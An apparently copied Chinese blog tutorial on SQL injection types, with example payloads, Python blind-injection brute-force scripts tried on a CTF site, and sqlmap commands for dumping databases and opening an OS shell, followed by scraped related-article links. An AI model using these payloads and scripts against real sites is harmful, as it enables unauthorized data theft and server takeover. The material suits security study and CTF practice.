SQL的注入类型:

  1. Boolean-based blind SQL injection(布尔型注入)
  2. Error-based SQL injection(报错型注入)
  3. UNION query SQL injection(可联合查询注入)
  4. Stacked queries SQL injection(可多语句查询注入)
  5. Time-based blind SQL injection(基于时间延迟注入)

Boolean-based blind SQL injection(布尔型注入)

通过判断页面返回情况获得想要的信息。

如下SQL注入:

   1 http://hello.com/view?id=1 and substring(version(),1,1)=5

如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。

id='' and ascii(substr((select flag from flag), 2, 1))?102#

构造以上的请求进行字符猜解。

补充一个布尔型字符猜解的脚本:

import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''for j in range(50):for i in maystr:#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)#news#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)#tb_admin tb_flag tb_news#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)#flagstr = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i)   #flag{1396265adbb760c86475304b98e3f61c}res=requests.get(str).textif len(res)>1200:flag+=iprint icontinueprint flag

Error-based SQL injection(报错型注入)

如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信息。

典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug: duplicate key for entry on select?、 SQL Injection attack - What does this do?

如下SQL注入:

   1 http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
2 AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
3 LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
4 SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)

在抛出的SQL错误中会包含这样的信息: Duplicate entry 'qzpzqttqxxbq1' for key 'group_key',其中qzpzq和qxxbq分别是0x717a707a71和0x7178786271,用这两个字符串包住了tt(即数据库名),是为了方便sql注入程序从返回的错误内容中提取出信息。

UNION query SQL injection(可联合查询注入)

最快捷的方法,通过UNION查询获取到所有想要的数据,前提是请求返回后能输出SQL执行后查询到的所有内容。

如下SQL注入:

   1 http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA

Stacked queries SQL injection(可多语句查询注入)

即能够执行多条查询语句,非常危险,因为这意味着能够对数据库直接做更新操作。

如下SQL注入:

   1 http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'

在第二次请求 http://hello.com/view?id=1时,会发现所有的content都被设置为aaaaaaaaa了。

Time-based blind SQL injection(基于时间延迟注入)

页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度非常慢。

如下SQL注入:

   1 http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '

该请求会使MySQL的查询睡眠5S,攻击者可以通过添加条件判断到SQL中,比如IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能做到类似boolean注入的效果,如果睡眠了5s,那么说明MySQL版本为5,否则不是,但这种方式获取信息的速度就会很慢了,因为要做非常多的判断,并且需要花时间等待,不断地去测试出相应的值出来。

以下为一个利用时间延迟注入来爆破数据库内容的脚本

#coding:utf-8import requests;
maystr="0987654321qwertyuiopasdfghjklzxcvbnm."
flag=''
for j in range(33):for i in maystr:url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"header={# "X-Forwarded-For":"' + (select case when (substring((select database())from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  ##"X-Forwarded-For":"' +(select case when (substring((select group_concat(table_name) from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  #跑表明"X-Forwarded-For":"' + (select case when (substring((select group_concat(column_name) from information_schema.columns where table_name='flag') from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)#"X-Forwarded-For":"' + (select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 0 end) and '1'='1" % (j,i)  }try:res=requests.get(url, headers=header,timeout=4).textexcept:flag+=iprint flag# print res

使用sqlmap对某网站做测试结果:

可以看到这个注入点可以进行boolean-based blind, and/or time-based blind和 union query。


sqlmap教程(sql注入步骤)

1.检测注入点:

sqlmap.py -u url

2.暴库,暴出服务器上所有数据库的名称(sqlmap.py -u url --dbs)

3.服务器上所有的用户及密码,

4.当前web使用的数据库和用户,sqlmap.py -u url -b --current-db --current-user

5.列出数据库中所有的表,sqlmap.py -u url -D database --tables

6.列出表中的字段,sqlmap.py -u url -D database -T table --cloumns

7.暴出字段内容,sqlmap.py -u url -D database -T table -C columns --dump

如果需要表格post 提交方式,则增加--data 关键字,例如

sqlmap.py -u url --data "username=name&passwd=pass&submit=login"

关于如何利用SQL注入制造一个后门,参考文章http://www.freebuf.com/articles/222.html,可以制造数据库后门和系统后门。

简单的利用sqlmap制造系统后门:sqlmap -u url --os-shell

sql注入与sqlmap工具使用相关推荐

  1. 视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用

    SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营 刘畅 ¥15.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...

  2. 渗透测试-SQL注入之sqlmap的使用方法及实战案例

    SQL注入之sqlmap的使用方法及实战案例 文章目录 SQL注入之sqlmap的使用方法及实战案例 前言 一.sqlmap的使用方法 查库,表,列,以及相关的字段的信息 万能密码汇总 判断是否为字符 ...

  3. sql注入的小工具介绍

    sql注入的小工具介绍 啊D注入工具: pangolin(穿山甲) 穿山甲:Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec ...

  4. 渣渣白教你使用工具Safe3 SQL注入安全检测工具

    说明:1.  未经授权的渗透测试都是违法的! 2.  文章用红色字体编写的部分是关键部分(认真看)!!! 3.  文章用黑色字体编写的部分是渣渣白内心独白,无关紧0! 4.  文章用其他颜色字体编写的 ...

  5. OWASP TOP 10(一)SQL注入(自动化工具sqlmap)

    文章目录 sqlmap 一.概述 二.基本参数 1. 检测注入点 2. 列出所有数据库名 3. 列出当前数据库名 4. 列出数据库名表名 5. 列出表中字段名 6. 列出字段内容 - 读取post请求 ...

  6. sql注入之——SQLMap常见语句

    填坑~~ SQLMap常见语句 首先要明确 整个的单词 需要用两个横杠– 缩写的单词 需要一个横杠- 参考:https://www.freebuf.com/sectool/164608.html 一. ...

  7. mysql注入扫描网站漏洞工具_国产SQL注入漏洞测试工具 - 超级SQL注入工具(SSQLInjection)...

    此工具为本人对C#.Socket及HTTP协议.SQL注入进行深入研究后,闲暇时间做的一款SQL注入工具.不说秒SQLMap,直接秒杀什么webcruiser.Safe3SI.pangolin.hav ...

  8. SQL注入之sqlmap入门教程

    目录 一.判断是否存在注入点 二.查询当前用户下所有数据库 三.获取数据库中的表名 四.获取表中的字段名 五.获取字段内容 六.获取数据库的所有用户 七.获取数据库用户的密码 八.获取当前网站数据库的 ...

  9. B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf

    前言: 在攻防实战中,往往需要掌握一些特性,比如服务器.数据库.应用层.WAF层等,以便我们更灵活地去构造 Payload,从而可以和各种 WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用. 演示案 ...

  10. Sql注入工具php,phpcms框架SQL注入--基于Havij工具

    sql注入的步骤: 1.首先观察网站是通过GET还是POST方式传输数据的: a.如果是GET传输,则在url中输入?id=1' 或者 " 或者 ') 来测试是否存在sql注入. b.如果是 ...

最新文章

  1. shell发送网页邮件
  2. python单下划线和双下线的区别
  3. 在ubuntu16.04中一键创建LAMP环境 新系统
  4. 持续集成Java覆盖率合并
  5. 去BAT面试完的Mysql面试题总结(55道)
  6. 深入理解嵌入式中重要的编程模型
  7. Comparable接口的使用:(知识回顾)
  8. 61单片机程序下载一闪而过,下载完成之后没有看到实验现象。
  9. 线性约束最优化问题的Frank-Wolfe方法
  10. linux无线网络已连接,上不了网,无线网络连接上但上不了网的原因和解决方法
  11. QT图片缩放、拖动、重置
  12. DenseTNT翻译
  13. 【使用python获取pdf所需数据】
  14. 【Markdown笔记】设置字体颜色
  15. 华米2020,硬件继续去小米化、加强健康数据服务探索
  16. Android中文件与文件夹的创建(file)
  17. MW150UH驱动程序Linux,MW150UH V2.0_20170607驱动程序
  18. LCD1602rw接地与LM358输出电压
  19. 电脑上的软件和硬件怎么区分?
  20. 【演示文稿制作动画】Focusky教程 | 图表美化技巧

热门文章

  1. python(turtle库)画七巧板
  2. 广播地址的计算方法(与运算、或运算)
  3. 骰子游戏实验报告C语言,掷骰子游戏电路的设计与实现实验报告
  4. PHP 获取图片信息exif
  5. java 开三次根号_java里实现开根号
  6. java oracle 中文列_java oracle中文乱码怎么办
  7. 友华 PT926G 超管密码 V3.0
  8. VBA之正则表达式(30)-- 提取机构代码
  9. SATA工作模式咋选?揭秘AHCI和IDE区别(全文)
  10. android教师评价系统源码,教师评价系统